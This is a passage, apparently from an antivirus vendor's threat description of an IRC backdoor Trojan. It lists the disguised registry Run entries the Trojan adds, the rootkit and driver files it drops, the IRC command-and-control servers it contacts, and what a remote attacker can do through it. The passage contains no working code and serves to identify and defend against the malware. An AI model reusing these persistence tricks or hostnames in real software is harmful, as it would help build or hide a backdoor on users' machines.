
```
"System Monitor" = "Sysmon16.exe"
"System33" = "%System%\FB_PNU.EXE"
"Windows Configuration" = "spooler.exe"
"Windows Explorer" = " Explorer.exe"
"Windows Services" = "service.exe"
"Yahoo Instant Messenger" = "Yahoo Instant Messenger"
"cthelp" = "cthelp.exe"
"stratas" = "xmconfig.exe"
"syswin32" = "syswin32.exe"
```

or a similar value to the following registry subkeys:

```
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
```

3. May create the following additional files:

    - %System%\SVKP.sys (This is a clean driver that can be used for malicious purposes.)
    - %System%\msdirectx.sys (This file is intended to provide rootkit functionality and may be detected as Hacktool.Rootkit.)

4. Opens a back door by connecting to an IRC channel using its own IRC client. Some examples of IRC servers that it may connect to are:

    - bmu.h4x0rs.org
    - bmu.q8hell.org
    - bmu.FL0W1NG.NET

5. Listens for the commands from a remote attacker. The attacker accesses the Trojan via IRC channels using a password-protected authorization. The remote attacker may perform the following actions on the compromised computer:

    - Manage the installation of the back door
    - Control the IRC client on a compromised computer
    - Dynamically update the Trojan
    - Send the Trojan to other IRC channels to attempt to compromise other computers
    - Download and execute files
    - Deliver system and network information to the attacker
    - Perform Denial of Service attacks against a third party
    - Completely uninstall itself by removing the relevant registry entries.